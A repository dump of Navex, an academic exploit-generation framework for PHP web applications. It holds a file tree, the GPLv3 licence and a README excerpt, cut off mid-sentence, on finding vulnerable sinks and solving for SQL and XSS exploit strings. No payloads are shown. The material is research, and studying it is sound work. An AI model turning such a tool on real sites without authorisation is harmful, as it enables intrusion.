├── .gitmodules ├── LICENSE ├── README.md ├── config └── auth-appName.txt ├── lib ├── crawler4j-4.4.0-SNAPSHOT-jar-with-dependencies.jar ├── filterbuilder.jar ├── htmllexer.jar ├── htmlparser.jar ├── jersey-client-1.19.jar ├── jersey-core-1.19.jar ├── sitecapturer.jar └── thumbelina.jar ├── run.pl └── src ├── BasicCrawlController.java ├── CrawlerFilter.java ├── HTMLForm.java ├── Main.java ├── Options.java ├── formula ├── Formula.java ├── InferType.java ├── StaticFormulaInfo.java ├── Trace.java └── TraceAnalysis.java ├── graphDatabase ├── DatabaseNode.java ├── EdgeTypes.java ├── NavigationDatabaseNode.java ├── NeoGraphDatabase.java └── NodeKeys.java ├── package-info.java └── solver ├── AttackStrings.java ├── DynamicSolver.java ├── Solver.java ├── SolverModel.java ├── StaticSolver.java └── StreamGobbler.java /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "src/crawler4j"] 2 | path = src/crawler4j 3 | url = git@github.com:aalhuz/crawler4j.git 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # navex 2 | Navex is an exploit generation framework for web applications. It is composed of two main steps: (1) vulnerable sinks identification by performing static analysis, and (2) the generation of concrete exploits through dynamic analysis of web apps, for the identified vulnerable sinks. Navex extends/uses many open-source tools: Joern, PHPJoern, Z3, Z3-str2, crawler4j, Narcissus JavaScript engine, and Xdebug. For more information on Navex, please read our paper "Precise and Scalable Exploit Generation for Dynamic Web Applications" published at USENIX Security 2018. https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-alhuzali.pdf. 3 | 4 | # Step 1: vulnerable sinks identification # 5 | For Step 1, we enhanced Joern and PHPJoern. The enhanced tools are forks of the original Joern and PHPJoern, and available at https://github.com/aalhuz/joern/tree/navex and https://github.com/aalhuz/phpjoern/tree/navex. 6 | 7 | 8 | ## Using our PHPJoern and Joern forks ## 9 | 10 | - Follow all installation instructions at https://github.com/aalhuz/phpjoern/tree/navex. 11 | - Before parsing an application using PHPJoern, the database schema of the application has to analyzed and formatted as a CSV file. 12 | The dbAnalysis package in https://github.com/aalhuz/joern/tree/navex/projects/extensions/joern-php/src/main/java/dbAnalysis will parse the schema files and produce one file (by default called schema.csv) that has the schema information as CSV file. 13 | 14 | - Run the main class in DBAnalysis.java and provide the directory that has the schema files. For example 15 | 16 | cd joern/projects/extensions/joern-php 17 | java -classpath "build/libs/*:lib/*" dbAnalysis/DBAnalysis 18 | 19 | 20 | - TO run the parser, you have to supply the database schema file (i.e., schema.csv) as the following example 21 | 22 | ./php2ast -f jexp -n nodes.csv -r edges.csv -d $PATH/schema.csv $APPLICATION 23 | 24 | $PATH is the path to the schema.csv file, and $APPLICATION is the application to parse. 25 | 26 | - Edit joern/projects/extensions/joern-php/build.gradle as explained in the file. 27 | 28 | - Follow the rest of the instructions on how to generate code property graphs with Joern and import them into Neo4j*. 29 | 30 | - *please check this https://github.com/aalhuz/batch-importer2.1. It has the missing binary that you will need to export your graph into Neo4j. 31 | 32 | ## Graph Traversals guided by our Attack Dictionary ## 33 | 34 | To find vulnerabilities using our attack dictionary, we need to search the enhanced Code Property graph using gremlin queries (graph traversals). We have added several Joern-steps in our python-joern fork at https://github.com/aalhuz/python-joern/tree/navex. 35 | 36 | - Follow the installation instructions at https://github.com/aalhuz/python-joern/tree/navex. The python wrapper static-main.py is the script that invokes Analysis.py, which has our attack dictionary. 37 | 38 | - The traversals output will be in results/static_analysis_results.txt and results/include_map_results.txt. The first file has the analysis results that summarizes all found vulnerable paths and safe sinks as well. The vulnerable paths are written as TAC formulas as described in the paper. The Second file has PHP files inclusion relationships, which is going to be used in Step 2. Note, the paths to the result files are hardcoded in static-main.py and need to be changed before running the python script. 39 | 40 | ## Generating exploit strings (exploit seeds) using Z3 solver ## 41 | Prerequisites: install Z3 solver and Z3-str2 extension. We have used Z3-str2 in Navex's implementation (not Z3-str3 which was not available during our evaluation). You can find Z3-str2 at https://github.com/z3str/Z3-str and the installation instructions at https://github.com/z3str/Z3-str/blob/master/README_OLD.md. 42 | 43 | - The TAC formulas of each path to a vulnerable sink have to be rewritten as Z3 specifications to verify the exploitability of the path. The solver package at https://github.com/aalhuz/navex/tree/master/src/solver encapsulates our translation to solver specification implementation. Specifically, run StaticSolver.java, and you will be prompted to enter the vulnerability type (i.e., SQL, XSS, etc.) you are investigating. This java program will do the following: 44 | * Read both result files generated by the traversals. 45 | * Generate solver specification files for vulnerable paths. The spec files can be found in staticAnalysisSpec directory. 46 | * Invoke Z3-str2 to solve the constructed formulas in the Spec files. The models will also be in 